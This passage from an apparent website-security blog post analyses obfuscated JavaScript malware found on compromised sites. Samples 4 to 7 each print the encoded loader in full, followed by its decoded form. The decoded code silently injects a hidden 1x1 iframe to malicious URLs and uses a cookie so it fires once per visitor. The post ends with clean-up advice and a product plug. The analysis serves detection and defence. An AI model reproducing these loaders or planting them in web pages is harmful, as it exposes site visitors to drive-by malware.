  56.     if (end == -1) end = document.cookie.length;
  57.     return unescape(document.cookie.substring(len, end));
  58. }
  59. if (navigator.cookieEnabled)
  60. {
  61.     if (GetCookie('visited_uq') == 55) {} else {
  62.         SetCookie('visited_uq', '55', '1', '/');
  63.         zzzfff();
  64.     }
  65. }

Sample 4


Malicious action: injecting hidden iframe to http://carrozzeriamurat.com/xHZ9Mh4b.php

  1. ps = "s" + "p" + "l" + "i" + "t";
  2. asd = function () {
  3.     -- (d.body)
  4. };
  5. a =("47,155,174,165,152,173,160,166,165,47,201,201,201,155,155,155,57,60,47,202,24,21,47,175,150,171,47,164,163,157,152,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,24,21,24,21,47,164,163,157,152,65,172,171,152,47,104,47,56,157,173,173,167,101,66,66,152,150,171,171,166,201,201,154,171,160,150,164,174,171,150,173,65,152,166,164,66,177,117,141,100,124,157,73,151,65,167,157,167,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,167,166,172,160,173,160,166,165,47,104,47,56,150,151,172,166,163,174,173,154,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,151,166,171,153,154,171,47,104,47,56,67,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,70,167,177,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,70,167,177,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,167,177,56,102,24,21,47,164,163,157,152,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,167,177,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,164,163,157,152,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,153,160,175,47,160,153,104,143,56,164,163,157,152,143,56,105,103,66,153,160,175,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,164,163,157,152,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,164,163,157,152,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,47,165,150,164,154,65,163,154,165,156,173,157,47,60,47,60,47,60,24,21,47,202,24,21,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,204,24,21,47,160,155,47,57,47,172,173,150,171,173,47,104,104,47,64,70,47,60,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,175,150,171,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,51,102,51,63,47,163,154,165,47,60,102,24,21,47,160,155,47,57,47,154,165,153,47,104,104,47,64,70,47,60,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,163,154,165,156,173,157,102,24,21,47,171,154,173,174,171,165,47,174,165,154,172,152,150,167,154,57,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,163,154,165,63,47,154,165,153,47,60,47,60,102,24,21,204,24,21,160,155,47,57,165,150,175,160,156,150,173,166,171,65,152,166,166,162,160,154,114,165,150,151,163,154,153,60,24,21,202,24,21,160,155,57,116,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,201,201,201,155,155,155,57,60,102,24,21,204,24,21,204,24,21"[ps](","));
  6. d = document;
  7. for (i = 0; i < a.length; i += 1) {
  8.     a[i] = -(10 - 3) + parseInt(a[i], 5 + 3);
  9. }
  10. try {
  11.     asd()
  12. } catch (q) {
  13.     yy = 50 - 50;
  14. }
  15. try {
  16.     yy /= 18
  17. } catch (pq) {
  18.     yy = 1;
  19. }
  20. if (!yy) eval(String["fr" + "omCharCode"].apply(String, a));
  21. /*
  22.  * decoded payload injecting malicious hidden iframe to http://carrozzeriamurat.com/xHZ9Mh4b.php
  23.  */
  24. function zzzfff() {
  25.     var mlhc = document.createElement('iframe');
  26.     mlhc.src = 'http://carrozzeriamurat.com/xHZ9Mh4b.php';
  27.     mlhc.style.position = 'absolute';
  28.     mlhc.style.border = '0';
  29.     mlhc.style.height = '1px';
  30.     mlhc.style.width = '1px';
  31.     mlhc.style.left = '1px';
  32.     mlhc.style.top = '1px';
  33.     if (!document.getElementById('mlhc')) {
  34.         document.write('<div id=\'mlhc\'></div>');
  35.         document.getElementById('mlhc').appendChild(mlhc);
  36.     }
  37. }
  38. function SetCookie(cookieName, cookieValue, nDays, path) {
  39.     var today = new Date();
  40.     var expire = new Date();
  41.     if (nDays == null || nDays == 0) nDays = 1;
  42.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  43.     document.cookie = cookieName + "=" + escape(cookieValue)
  44.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  45. }
  46. function GetCookie(name) {
  47.     var start = document.cookie.indexOf(name + "=");
  48.     var len = start + name.length + 1;
  49.     if ((!start) &&
  50.         (name != document.cookie.substring(0, name.length)))
  51.     {
  52.         return null;
  53.     }
  54.     if (start == -1) return null;
  55.     var end = document.cookie.indexOf(";", len);
  56.     if (end == -1) end = document.cookie.length;
  57.     return unescape(document.cookie.substring(len, end));
  58. }
  59. if (navigator.cookieEnabled)
  60. {
  61.     if (GetCookie('visited_uq') == 55) {} else {
  62.         SetCookie('visited_uq', '55', '1', '/');
  63.        zzzfff();
  64.     }
  65. }


Sample 5


Malicious action:  injecting hidden iframe to http://deangrzelak.com/wp-includes/rel.php


  1. ss = eval("Str" + "ing");
  2. d = document;
  3. a ="68,77,70,65,76,6b,71,70,22,7c,7c,7c,68,68,68,2a,2b,22,7d,f,c,22,22,22,22,78,63,74,22,73,22,3f,22,66,71,65,77,6f,67,70,76,30,65,74,67,63,76,67,47,6e,67,6f,67,70,76,2a,29,6b,68,74,63,6f,67,29,2b,3d,f,c,f,c,22,22,22,22,73,30,75,74,65,22,3f,22,29,6a,76,76,72,3c,31,31,66,67,63,70,69,74,7c,67,6e,63,6d,30,65,71,6f,31,79,72,2f,6b,70,65,6e,77,66,67,75,31,74,67,6e,30,72,6a,72,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,72,71,75,6b,76,6b,71,70,22,3f,22,29,63,64,75,71,6e,77,76,67,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,64,71,74,66,67,74,22,3f,22,29,32,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,6a,67,6b,69,6a,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,79,6b,66,76,6a,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,6e,67,68,76,22,3f,22,29,33,72,7a,29,3d,f,c,22,22,22,22,73,30,75,76,7b,6e,67,30,76,71,72,22,3f,22,29,33,72,7a,29,3d,f,c,f,c,22,22,22,22,6b,68,22,2a,23,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,73,29,2b,2b,22,7d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,79,74,6b,76,67,2a,29,3e,66,6b,78,22,6b,66,3f,5e,29,73,5e,29,40,3e,31,66,6b,78,40,29,2b,3d,f,c,22,22,22,22,22,22,22,22,66,71,65,77,6f,67,70,76,30,69,67,76,47,6e,67,6f,67,70,76,44,7b,4b,66,2a,29,73,29,2b,30,63,72,72,67,70,66,45,6a,6b,6e,66,2a,73,2b,3d,f,c,22,22,22,22,7f,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,55,67,76,45,71,71,6d,6b,67,2a,65,71,71,6d,6b,67,50,63,6f,67,2e,65,71,71,6d,6b,67,58,63,6e,77,67,2e,70,46,63,7b,75,2e,72,63,76,6a,2b,22,7d,f,c,22,78,63,74,22,76,71,66,63,7b,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,78,63,74,22,67,7a,72,6b,74,67,22,3f,22,70,67,79,22,46,63,76,67,2a,2b,3d,f,c,22,6b,68,22,2a,70,46,63,7b,75,3f,3f,70,77,6e,6e,22,7e,7e,22,70,46,63,7b,75,3f,3f,32,2b,22,70,46,63,7b,75,3f,33,3d,f,c,22,67,7a,72,6b,74,67,30,75,67,76,56,6b,6f,67,2a,76,71,66,63,7b,30,69,67,76,56,6b,6f,67,2a,2b,22,2d,22,35,38,32,32,32,32,32,2c,34,36,2c,70,46,63,7b,75,2b,3d,f,c,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,22,3f,22,65,71,71,6d,6b,67,50,63,6f,67,2d,24,3f,24,2d,67,75,65,63,72,67,2a,65,71,71,6d,6b,67,58,63,6e,77,67,2b,f,c,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,2d,22,24,3d,67,7a,72,6b,74,67,75,3f,24,22,2d,22,67,7a,72,6b,74,67,30,76,71,49,4f,56,55,76,74,6b,70,69,2a,2b,22,2d,22,2a,2a,72,63,76,6a,2b,22,41,22,24,3d,22,72,63,76,6a,3f,24,22,2d,22,72,63,76,6a,22,3c,22,24,24,2b,3d,f,c,7f,f,c,68,77,70,65,76,6b,71,70,22,49,67,76,45,71,71,6d,6b,67,2a,22,70,63,6f,67,22,2b,22,7d,f,c,22,78,63,74,22,75,76,63,74,76,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,70,63,6f,67,22,2d,22,24,3f,24,22,2b,3d,f,c,22,78,63,74,22,6e,67,70,22,3f,22,75,76,63,74,76,22,2d,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2d,22,33,3d,f,c,22,6b,68,22,2a,22,2a,22,23,75,76,63,74,76,22,2b,22,28,28,f,c,22,2a,22,70,63,6f,67,22,23,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,32,2e,22,70,63,6f,67,30,6e,67,70,69,76,6a,22,2b,22,2b,22,2b,f,c,22,7d,f,c,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,7f,f,c,22,6b,68,22,2a,22,75,76,63,74,76,22,3f,3f,22,2f,33,22,2b,22,74,67,76,77,74,70,22,70,77,6e,6e,3d,f,c,22,78,63,74,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6b,70,66,67,7a,51,68,2a,22,24,3d,24,2e,22,6e,67,70,22,2b,3d,f,c,22,6b,68,22,2a,22,67,70,66,22,3f,3f,22,2f,33,22,2b,22,67,70,66,22,3f,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,6e,67,70,69,76,6a,3d,f,c,22,74,67,76,77,74,70,22,77,70,67,75,65,63,72,67,2a,22,66,71,65,77,6f,67,70,76,30,65,71,71,6d,6b,67,30,75,77,64,75,76,74,6b,70,69,2a,22,6e,67,70,2e,22,67,70,66,22,2b,22,2b,3d,f,c,7f,f,c,6b,68,22,2a,70,63,78,6b,69,63,76,71,74,30,65,71,71,6d,6b,67,47,70,63,64,6e,67,66,2b,f,c,7d,f,c,6b,68,2a,49,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2b,3f,3f,37,37,2b,7d,7f,67,6e,75,67,7d,55,67,76,45,71,71,6d,6b,67,2a,29,78,6b,75,6b,76,67,66,61,77,73,29,2e,22,29,37,37,29,2e,22,29,33,29,2e,22,29,31,29,2b,3d,f,c,f,c,7c,7c,7c,68,68,68,2a,2b,3d,f,c,7f,f,c,7f".split(",");
  4. for (i = 0; i < a.length; i++) {
  5.     a[i] = parseInt(a[i], 16) - (5 - 3);
  6. }
  7. try {
  8.     d.body--
  9. } catch (q) {
  10.     zz = 0;
  11. }
  12. try {
  13.     zz &= 2
  14. } catch (q) {
  15.     zz = 1;
  16. }
  17. if (!zz)
  18.     if (window.document) eval(ss.fromCharCode.apply(ss, a));
  19. /*
  20.  * decoded payload injecting hidden iframe to compromised wordpress installation
  21.  * http://deangrzelak.com/wp-includes/rel.php
  22.  */
  23. function zzzfff() {
  24.     var q = document.createElement('iframe');
  25.     q.src = 'http://deangrzelak.com/wp-includes/rel.php';
  26.     q.style.position = 'absolute';
  27.     q.style.border      = '0';
  28.     q.style.height      = '1px';
  29.     q.style.width       = '1px';
  30.     q.style.left        = '1px';
  31.     q.style.top         = '1px';
  32.     if (!document.getElementById('q')) {
  33.         document.write('<div id=\'q\'></div>');
  34.         document.getElementById('q').appendChild(q);
  35.     }
  36. }
  37. function SetCookie(cookieName, cookieValue, nDays, path) {
  38.     var today = new Date();
  39.     var expire = new Date();
  40.     if (nDays == null || nDays == 0) nDays = 1;
  41.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  42.     document.cookie = cookieName + "=" + escape(cookieValue)
  43.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  44. }
  45. function GetCookie(name) {
  46.     var start = document.cookie.indexOf(name + "=");
  47.     var len = start + name.length + 1;
  48.     if ((!start) &&
  49.         (name != document.cookie.substring(0, name.length)))
  50.     {
  51.         return null;
  52.     }
  53.     if (start == -1) return null;
  54.     var end = document.cookie.indexOf(";", len);
  55.     if (end == -1) end = document.cookie.length;
  56.     return unescape(document.cookie.substring(len, end));
  57. }
  58. if (navigator.cookieEnabled)
  59. {
  60.     if (GetCookie('visited_uq') == 55) {} else {
  61.         SetCookie('visited_uq', '55', '1', '/');
  62.         zzzfff();
  63.     }
  64. }

    Sample 6

    Malicious action:  injecting hidden iframe to http://www.idmelettronica.it/js/counter.php

    1. ww = window;
    2. v = "v" + "al";
    3. if (ww.document) try {
    4.     document.body = 12;
    5. } catch (gdsgsdg) {
    6.     asd = 0;
    7.     try {
    8.         q = document.createElement("div");
    9.     } catch (q) {
    10.         asd = 1;
    11.     }
    12.     if (!asd) {
    13.         w = {
    14.             a: ww
    15.         }.a;
    16.         v = "e".concat(v);
    17.     }
    18. }
    19. e = w[v];
    20. if (1) {
    21.     f = new Array(40, 101, 115, 107, 99, 115, 103, 108, 110, 31, 38, 38, 32, 122, 11, 7, 32, 31, 30, 29, 118, 96,112, 29, 114, 97, 98, 100, 32, 60, 30, 97, 111, 98, 115, 106, 101, 109, 114, 43, 99, 113, 99, 94, 116, 100, 67,105, 101, 108, 99, 107, 116, 39, 37, 102, 102, 113, 95, 106, 101, 38, 39, 56, 13, 9, 11, 7, 32, 31, 30, 29, 114,97, 98, 100, 46, 114, 112, 96, 32, 60, 30, 36, 104, 115, 114, 109, 58, 46, 45, 116, 119, 118, 44, 102, 100, 108,99, 105, 101, 115, 114, 111, 111, 109, 103, 96, 97, 45, 103, 113, 47, 105, 113, 44, 99, 110, 115, 107, 116, 100,112, 43, 112, 103, 110, 36, 59, 12, 8, 29, 32, 31, 30, 111, 98, 99, 101, 43, 115, 115, 119, 105, 101, 45, 110,108, 115, 104, 114, 102, 111, 109, 30, 58, 32, 38, 95, 95, 115, 110, 106, 114, 116, 100, 37, 56, 13, 9, 30, 29,32, 31, 112, 95, 100, 102, 44, 112, 116, 120, 106, 98, 46, 97, 109, 111, 100, 100, 112, 29, 61, 31, 37, 45, 39,58, 11, 7, 32, 31, 30, 29, 114, 97, 98, 100, 46, 114, 114, 118, 108, 100, 44, 101, 101, 104, 101, 101, 116, 31,59, 29, 39, 48, 110, 117, 39, 58, 11, 7, 32, 31, 30, 29, 114, 97, 98, 100, 46, 114, 114, 118, 108, 100, 44, 116,105, 99, 114, 101, 32, 60, 30, 36, 49, 111, 118, 36, 59, 12, 8, 29, 32, 31, 30, 111, 98, 99, 101, 43, 115, 115,119, 105, 101, 45, 106, 98, 102, 115, 30, 58, 32, 38, 47, 109, 120, 38, 57, 10, 10, 31, 30, 29, 32, 113, 96, 97,103, 45, 113, 113, 121, 107, 99, 43, 116, 110, 110, 29, 61, 31, 37, 46, 112, 119, 37, 56, 13, 9, 11, 7, 32, 31,30, 29, 105, 101, 30, 37, 33, 99, 109, 96, 117, 108, 99, 107, 116, 45, 101, 98, 116, 68, 106, 98, 109, 100, 108,113, 66, 120, 71, 97, 40, 38, 112, 95, 100, 102, 37, 38, 41, 31, 121, 10, 10, 31, 30, 29, 32, 31, 30, 29, 32, 99,109, 96, 117, 108, 99, 107, 116, 45, 117, 111, 105, 115, 99, 37, 39, 59, 98, 102, 118, 31, 103, 97, 61, 91, 37,111, 98, 99, 101, 89, 39, 61, 58, 44, 100, 104, 116, 59, 39, 40, 57, 10, 10, 31, 30, 29, 32, 31, 30, 29, 32, 99,109, 96, 117, 108, 99, 107, 116, 45, 101, 98, 116, 68, 106, 98, 109, 100, 108, 113, 66, 120, 71, 97, 40, 38, 112,95, 100, 102, 37, 38, 46, 96, 110, 109, 101, 109, 98, 64, 104, 104, 106, 97, 40, 113, 96, 97, 103, 40, 57, 10, 10,31, 30, 29, 32, 124, 11, 7, 125, 40, 38, 38, 59);
    22. }
    23. w = f;
    24. s = [];
    25. for (i = 0; - i + 493 != 0; i += 1) {
    26.     j = i;
    27.     if ((031 == 0x19))
    28.         if (e) s = s + String.fromCharCode((1 * w[j] + e("j%4")));
    29. }
    30. xz = e;
    31. try {
    32.     document.body++
    33. } catch (gdsgd) {
    34.     xz(s)
    35. }
    36. /*
    37.  * decoded payload inject malicious hidden iframe leading
    38.  * to http://www.idmelettronica.it/js/counter.php
    39.  */
    40. (function () {
    41.     var rbdg = document.createElement('iframe');
    42.     rbdg.src = 'http://www.idmelettronica.it/js/counter.php';
    43.     rbdg.style.position = 'absolute';
    44.     rbdg.style.border   = '0';
    45.     rbdg.style.height   = '1px';
    46.     rbdg.style.width    = '1px';
    47.     rbdg.style.left     = '1px';
    48.     rbdg.style.top              = '1px';
    49.     if (!document.getElementById('rbdg')) {
    50.         document.write('<div id=\'rbdg\'></div>');
    51.         document.getElementById('rbdg').appendChild(rbdg);
    52.     }
    53. })();

    Sample 7


    Malicious action:  injecting hidden iframe to http://cafelum.ru/tmp/46nqizls.php

    1. d = "doc" + "ument";
    2. try {
    3.     ++document.body
    4. } catch (q) {
    5.     aa = function (ff) {
    6.         for (i = 0; i < z.length; i++) {
    7.             za += String[ff](e(v + (z[i])) - 12);
    8.         }
    9.     };
    10. };
    11. ps = "split";
    12. e = (eval);
    13. v = "0x";
    14. a = 0;
    15. z = "y";
    16. try {;
    17. } catch (zz) {
    18.     a = 1
    19. }
    20. if (!a) {
    21.     try {
    22.         ++e(d)["bod" + z]
    23.     } catch (q) {
    24.         a2 = "_";
    25.     }
    26.     z ="2c_72_81_7a_6f_80_75_7b_7a_2c_86_86_86_72_72_72_34_35_2c_87_19_16_2c_82_6d_7e_2c_76_6d_70_7e_2c_49_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7e_71_6d_80_71_51_78_71_79_71_7a_80_34_33_75_72_7e_6d_79_71_33_35_47_19_16_19_16_2c_76_6d_70_7e_3a_7f_7e_6f_2c_49_2c_33_74_80_80_7c_46_3b_3b_6f_6d_72_71_78_81_79_3a_7e_81_3b_80_79_7c_3b_40_42_7a_7d_75_86_78_7f_3a_7c_74_7c_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_7c_7b_7f_75_80_75_7b_7a_2c_49_2c_33_6d_6e_7f_7b_78_81_80_71_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_6e_7b_7e_70_71_7e_2c_49_2c_33_3c_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_74_71_75_73_74_80_2c_49_2c_33_3d_7c_84_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_83_75_70_80_74_2c_49_2c_33_3d_7c_84_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_78_71_72_80_2c_49_2c_33_3d_7c_84_33_47_19_16_2c_76_6d_70_7e_3a_7f_80_85_78_71_3a_80_7b_7c_2c_49_2c_33_3d_7c_84_33_47_19_16_19_16_2c_75_72_2c_34_2d_70_7b_6f_81_79_71_7a_80_3a_73_71_80_51_78_71_79_71_7a_80_4e_85_55_70_34_33_76_6d_70_7e_33_35_35_2c_87_19_16_2c_70_7b_6f_81_79_71_7a_80_3a_83_7e_75_80_71_34_33_48_70_75_82_2c_75_70_49_68_33_76_6d_70_7e_68_33_4a_48_3b_70_75_82_4a_33_35_47_19_16_2c_70_7b_6f_81_79_71_7a_80_3a_73_71_80_51_78_71_79_71_7a_80_4e_85_55_70_34_33_76_6d_70_7e_33_35_3a_6d_7c_7c_71_7a_70_4f_74_75_78_70_34_76_6d_70_7e_35_47_19_16_2c_89_19_16_89_19_16_72_81_7a_6f_80_75_7b_7a_2c_5f_71_80_4f_7b_7b_77_75_71_34_6f_7b_7b_77_75_71_5a_6d_79_71_38_6f_7b_7b_77_75_71_62_6d_78_81_71_38_7a_50_6d_85_7f_38_7c_6d_80_74_35_2c_87_19_16_2c_82_6d_7e_2c_80_7b_70_6d_85_2c_49_2c_7a_71_83_2c_50_6d_80_71_34_35_47_19_16_2c_82_6d_7e_2c_71_84_7c_75_7e_71_2c_49_2c_7a_71_83_2c_50_6d_80_71_34_35_47_19_16_2c_75_72_2c_34_7a_50_6d_85_7f_49_49_7a_81_78_78_2c_88_88_2c_7a_50_6d_85_7f_49_49_3c_35_2c_7a_50_6d_85_7f_49_3d_47_19_16_2c_71_84_7c_75_7e_71_3a_7f_71_80_60_75_79_71_34_80_7b_70_6d_85_3a_73_71_80_60_75_79_71_34_35_2c_37_2c_3f_42_3c_3c_3c_3c_3c_36_3e_40_36_7a_50_6d_85_7f_35_47_19_16_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_2c_49_2c_6f_7b_7b_77_75_71_5a_6d_79_71_37_2e_49_2e_37_71_7f_6f_6d_7c_71_34_6f_7b_7b_77_75_71_62_6d_78_81_71_35_19_16_2c_37_2c_2e_47_71_84_7c_75_7e_71_7f_49_2e_2c_37_2c_71_84_7c_75_7e_71_3a_80_7b_53_59_60_5f_80_7e_75_7a_73_34_35_2c_37_2c_34_34_7c_6d_80_74_35_2c_4b_2c_2e_47_2c_7c_6d_80_74_49_2e_2c_37_2c_7c_6d_80_74_2c_46_2c_2e_2e_35_47_19_16_89_19_16_72_81_7a_6f_80_75_7b_7a_2c_53_71_80_4f_7b_7b_77_75_71_34_2c_7a_6d_79_71_2c_35_2c_87_19_16_2c_82_6d_7e_2c_7f_80_6d_7e_80_2c_49_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_3a_75_7a_70_71_84_5b_72_34_2c_7a_6d_79_71_2c_37_2c_2e_49_2e_2c_35_47_19_16_2c_82_6d_7e_2c_78_71_7a_2c_49_2c_7f_80_6d_7e_80_2c_37_2c_7a_6d_79_71_3a_78_71_7a_73_80_74_2c_37_2c_3d_47_19_16_2c_75_72_2c_34_2c_34_2c_2d_7f_80_6d_7e_80_2c_35_2c_32_32_19_16_2c_34_2c_7a_6d_79_71_2c_2d_49_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_3a_7f_81_6e_7f_80_7e_75_7a_73_34_2c_3c_38_2c_7a_6d_79_71_3a_78_71_7a_73_80_74_2c_35_2c_35_2c_35_19_16_2c_87_19_16_2c_7e_71_80_81_7e_7a_2c_7a_81_78_78_47_19_16_2c_89_19_16_2c_75_72_2c_34_2c_7f_80_6d_7e_80_2c_49_49_2c_39_3d_2c_35_2c_7e_71_80_81_7e_7a_2c_7a_81_78_78_47_19_16_2c_82_6d_7e_2c_71_7a_70_2c_49_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_3a_75_7a_70_71_84_5b_72_34_2c_2e_47_2e_38_2c_78_71_7a_2c_35_47_19_16_2c_75_72_2c_34_2c_71_7a_70_2c_49_49_2c_39_3d_2c_35_2c_71_7a_70_2c_49_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_3a_78_71_7a_73_80_74_47_19_16_2c_7e_71_80_81_7e_7a_2c_81_7a_71_7f_6f_6d_7c_71_34_2c_70_7b_6f_81_79_71_7a_80_3a_6f_7b_7b_77_75_71_3a_7f_81_6e_7f_80_7e_75_7a_73_34_2c_78_71_7a_38_2c_71_7a_70_2c_35_2c_35_47_19_16_89_19_16_75_72_2c_34_7a_6d_82_75_73_6d_80_7b_7e_3a_6f_7b_7b_77_75_71_51_7a_6d_6e_78_71_70_35_19_16_87_19_16_75_72_34_53_71_80_4f_7b_7b_77_75_71_34_33_82_75_7f_75_80_71_70_6b_81_7d_33_35_49_49_41_41_35_87_89_71_78_7f_71_87_5f_71_80_4f_7b_7b_77_75_71_34_33_82_75_7f_75_80_71_70_6b_81_7d_33_38_2c_33_41_41_33_38_2c_33_3d_33_38_2c_33_3b_33_35_47_19_16_19_16_86_86_86_72_72_72_34_35_47_19_16_89_19_16_89_19_16"[ps](a2);
    27.     za = "";
    28.     aa("fromCharCode");
    29.     zaz = za;
    30.     e(zaz);
    31. }
    32. /*
    33.  * decoded payload injecting hidden iframe to http://cafelum.ru/tmp/46nqizls.php
    34.  */
    35. function zzzfff() {
    36.     var jadr = document.createElement('iframe');
    37.     jadr.src = 'http://cafelum.ru/tmp/46nqizls.php';
    38.     jadr.style.position = 'absolute';
    39.     jadr.style.border = '0';
    40.     jadr.style.height = '1px';
    41.     jadr.style.width = '1px';
    42.     jadr.style.left = '1px';
    43.     jadr.style.top = '1px';
    44.     if (!document.getElementById('jadr')) {
    45.         document.write('<div id=\'jadr\'></div>');
    46.         document.getElementById('jadr').appendChild(jadr);
    47.     }
    48. }
    49. function SetCookie(cookieName, cookieValue, nDays, path) {
    50.     var today = new Date();
    51.     var expire = new Date();
    52.     if (nDays == null || nDays == 0) nDays = 1;
    53.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    54.     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
    55. }
    56. function GetCookie(name) {
    57.     var start = document.cookie.indexOf(name + "=");
    58.     var len = start + name.length + 1;
    59.     if ((!start) &&
    60.         (name != document.cookie.substring(0, name.length))) {
    61.         return null;
    62.     }
    63.     if (start == -1) return null;
    64.     var end = document.cookie.indexOf(";", len);
    65.     if (end == -1) end = document.cookie.length;
    66.     return unescape(document.cookie.substring(len, end));
    67. }
    68. if (navigator.cookieEnabled) {
    69.     if (GetCookie('visited_uq') == 55) {} else {
    70.         SetCookie('visited_uq', '55', '1', '/');
    71.         zzzfff();
    72.     }
    73. }

    Summary

    As stated in other posts, redirection to the malicious resource is one of the main reasons for website to get blacklisted. Usually, such websites are not intentionally malicious but have been compromised to serve the hackers. Scanning your website can save you headache of getting out from blacklist and avoid traffic loss on the early stages of the attack, so do not neglect this measure!
    Successful hacking is usually made possible because of the avoided security best practices by the website owners.

    Malware clean-up


    Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for real-time anti-malware monitoring and for remediation assessment.